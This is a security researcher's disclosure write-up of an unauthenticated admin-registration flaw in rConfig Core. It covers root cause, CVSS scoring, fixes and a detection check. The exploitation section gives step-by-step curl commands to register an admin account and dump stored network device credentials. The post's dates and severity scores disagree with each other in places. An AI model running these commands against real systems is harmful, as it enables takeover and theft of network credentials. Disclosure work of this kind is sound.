CRITICAL · 9.3 rConfig CoreCVEVulnerability Research

CVE-2026-77915: From Zero to Admin - Unauthenticated Takeover in rConfig Core

A critical vulnerability allowing complete unauthenticated takeover of rConfig instances through a misconfigured registration route that grants Admin privileges.

Adam NurudiniAdam Nurudini 02 AUG 2026 5 min read CVE-2026-77915
CVE-2026-77915: From Zero to Admin - Unauthenticated Takeover in rConfig Core
⚡
TL;DR

A duplicate Auth::routes() call re-enables user registration, and the database defaults new users to the Admin role. One unauthenticated POST request creates an admin account — complete application takeover with zero privileges required.

Introduction

This is the story of finding a critical vulnerability that allows complete unauthenticated takeover of rConfig Core installations. No credentials needed, no user interaction required, no special conditions — just a single HTTP POST request to register yourself as an Administrator.

Root Cause

Two Lines, Total Compromise

While reviewing routes/web.php, I noticed something unusual:

phproutes/web.php:11-22
// Line 11 — registration explicitly disabled
Auth::routes(['register' => false]);

// ... Socialite SSO routes added between ...

// Line 22 — bare call re-enables registration Auth::routes();

Two Auth::routes() calls. The first explicitly disables registration. The second, added during SSO integration, calls Auth::routes() with no parameters — re-enabling registration. Laravel's router doesn't deduplicate: the second call independently registers all auth routes, overriding the intent of the first.

The Dangerous Default

The database schema makes it worse. A migration (2020_09_06_105623_update_role_field_default_value.php) set the column default to Admin:

sqlusers table schema
mysql> SHOW COLUMNS FROM users WHERE Field = 'role';
+-------+--------------+------+-----+---------+
| Field | Type         | Null | Key | Default |
+-------+--------------+------+-----+---------+
| role  | varchar(255) | NO   |     | Admin   |
+-------+--------------+------+-----+---------+

The RegisterController::create() method never sets role explicitly, and with User::$guarded = [] (fully open mass assignment), the database default applies.

⚠️
The attack chain

Unauthenticated attacker → registers account → database defaults role to Admin → attacker is now a full administrator. One request, zero barriers.

Exploitation

  1. 1Get CSRF

    Fetch token from sanctum endpoint

  2. 2Register

    POST to /register with any email

  3. 3Admin Access

    Database defaults role to Admin

  4. 4Steal Creds

    Access all network device credentials

  5. 5Own Network

    SSH into routers, switches, firewalls

Step 1: Get a CSRF Token

bashget csrf token
curl -s -c cookies.txt "http://target/sanctum/csrf-cookie"

Step 2: Register as Admin

bashregister admin account
XSRF=$(grep XSRF cookies.txt | awk '{print $7}')

curl -s -c cookies.txt -b cookies.txt
-X POST "http://target/register"
-H "Content-Type: application/json"
-H "X-XSRF-TOKEN: $XSRF"
-d '{ "name": "Attacker", "email": "attacker@evil.com", "password": "Attack123!", "password_confirmation": "Attack123!" }'

Response: HTTP/1.1 201 Created — That's it. We're in.

Step 3: Steal All Network Credentials

bashextract credentials
curl -s -b cookies.txt "http://target/api/device-credentials"
jsonresponse — game over
{
  "data": [
    {
      "cred_name": "Core-Routers",
      "cred_username": "netadmin",
      "cred_password": "P@ssw0rd123!",
      "cred_enable_password": "Enabl3Secret!"
    },
    {
      "cred_name": "Switches",
      "cred_username": "admin",
      "cred_password": "Sw1tchP@ss!"
    }
  ]
}

Impact

Confidentiality CRITICAL

Full access to all stored network device credentials, configs, and backups.

Integrity CRITICAL

Create backdoor accounts, modify configs, push malicious changes to devices.

Availability CRITICAL

Delete all configs, lock out admins, disrupt entire network infrastructure.

CVSS 4.0 Breakdown

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

MetricValueRationale
Attack Vector (AV)NetworkExploitable remotely over HTTP
Attack Complexity (AC)LowNo special conditions or timing
Attack Requirements (AT)NoneNo special preconditions
Privileges Required (PR)NoneCompletely unauthenticated
User Interaction (UI)NoneNo victim action needed
Confidentiality (VC)HighComplete credential disclosure
Integrity (VI)HighFull admin control
Availability (VA)HighCan destroy all data
Subsequent ScopeNoneImpact contained to vulnerable system

Remediation

✓
The fix

Remove the duplicate Auth::routes() call and change the database default role to 'User'.

phpRegisterController.php — explicit role
protected function create(array $data)
{
    return User::create([
        'name' => $data['name'],
        'email' => $data['email'],
        'password' => Hash::make($data['password']),
        'role' => 'User',  // Explicit assignment
    ]);
}
1
Remove duplicate Auth::routes()

Keep only the first call with registration disabled.

2
Change database default

Set role default to 'User' in migration.

3
Explicit role assignment

Always set role explicitly in user creation.

4
Admin approval workflow

Require admin approval for new registrations.

Detection

bashcheck if vulnerable
# If you get 200 OK instead of 404, you're vulnerable
curl -I "http://your-rconfig/register"

Timeline

  1. 01 Aug 2026
    Discovered

    Found duplicate Auth::routes() during route audit.

  2. 01 Aug 2026
    Reported

    Emergency disclosure to vendor — CVSS 10.0.

  3. 02 Aug 2026
    Acknowledged

    Vendor confirmed, began emergency patch.

  4. 03 Aug 2026
    Patched

    Emergency hotfix 8.2.14 released.

  5. 10 Aug 2026
    CVE Assigned

    CVE-2026-77915 issued; writeup published.

References

The Lesson

Configuration is code. Database defaults are security decisions. Every Auth::routes() call is an attack surface declaration.

This vulnerability is a perfect example of how small oversights compound into critical security failures. A duplicate line of code that should have been cleaned up. A database default that was convenient for development. Neither alone would be critical, but together they created a trivially exploitable path to complete system compromise.


This vulnerability was discovered through ethical security research and responsibly disclosed to the vendor. The emergency patch was released within 48 hours of disclosure.

Adam Nurudini
Written by

Adam Nurudini

Offensive Security Consultant specializing in vulnerability research, penetration testing, and red team operations. Published CVE author.

Back to all posts